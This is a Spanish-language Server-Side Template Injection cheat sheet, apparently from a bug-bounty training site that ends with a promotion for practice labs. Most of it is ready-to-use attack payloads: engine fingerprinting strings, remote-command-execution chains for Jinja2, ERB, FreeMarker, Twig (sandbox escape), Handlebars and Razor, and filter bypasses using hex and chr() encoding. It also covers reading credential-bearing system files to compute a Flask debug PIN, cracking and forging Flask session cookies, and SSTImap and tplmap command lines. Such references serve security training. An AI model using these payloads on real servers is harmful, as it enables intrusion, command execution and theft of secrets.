Cheatsheet SSTI
Server-Side Template Injection
Referencia rápida
- →El arbol de decision: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) o 49 (Twig)
- →Buscar SSTI en: generadores de PDF/email, sistemas de plantillas admin, respuestas de error personalizadas
- →Para Jinja2 con filtros estrictos, usar hex encoding (\x5f) o chr() para evitar _ y comillas
- →Twig sandbox escape: sort("call_user_func") permite RCE incluso en modo sandboxed
- →Si Flask tiene debug mode habilitado, calcular el PIN con datos de /proc y /sys
Deteccion y fingerprinting
Fuzzing inicial
${{<%[%'"}}%\Test matematico Jinja2/TwigSi devuelve 49, es Jinja2 o Twig
{{7*7}}Distinguir Jinja2 de TwigJinja2 devuelve 7777777, Twig devuelve 49
{{7*'7'}}Test FreeMarkerSi devuelve 49, es FreeMarker (Java)
${7*7}Test ERB (Ruby)Si devuelve 49, es ERB
<%= 7*7 %>
Test Razor (.NET)Si devuelve 49, es Razor
@(7*7)
Test Smarty/Mako
${7*7}Test DjangoSi muestra debug info, es Django
{% debug %}Jinja2 (Python) - RCE
One-shot RCE via request
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}RCE via subclass chain
{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}Config y secrets
{{config.items()}}Django SECRET_KEY
{{settings.SECRET_KEY}}Filter bypass (hex encoding)Bypass cuando _ esta filtrado
{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}Quote-free (chr encoding)
{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}Otros motores - RCE
ERB (Ruby) - system
<%= system("whoami") %>ERB - backticks
<%= `ls /` %>
FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }Twig sandbox escapesort() acepta callback -> call_user_func("system", "id")
{{ ['system','id'] | sort('call_user_func') }}Handlebars (JS)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Razor (.NET) - Process
@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@outputFlask/Werkzeug Debug PIN
Calcular PIN con LFI
Leer: 1. /proc/self/environ (username del proceso) 2. /sys/class/net/eth0/address (MAC en decimal) 3. /etc/machine-id o /proc/sys/kernel/random/boot_id 4. Path a flask/app.py (del traceback) Calcular: SHA1(public_bits + private_bits) -> PIN
Flask session forgeryCrackear secret key de la session Flask
flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'
Forjar session
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'Herramientas
SSTImap
Herramienta automatizada de deteccion y explotacion de SSTI multi-engine
python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'
tplmap
Alternativa a SSTImap con soporte para multiples motores de template
python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'
fenjing
Generador automatico de payloads Jinja2 con bypass de filtros
python3 -c "from fenjing import exec_cmd_payload; ..."
flask-unsign
Crackear y forjar session cookies de Flask
flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras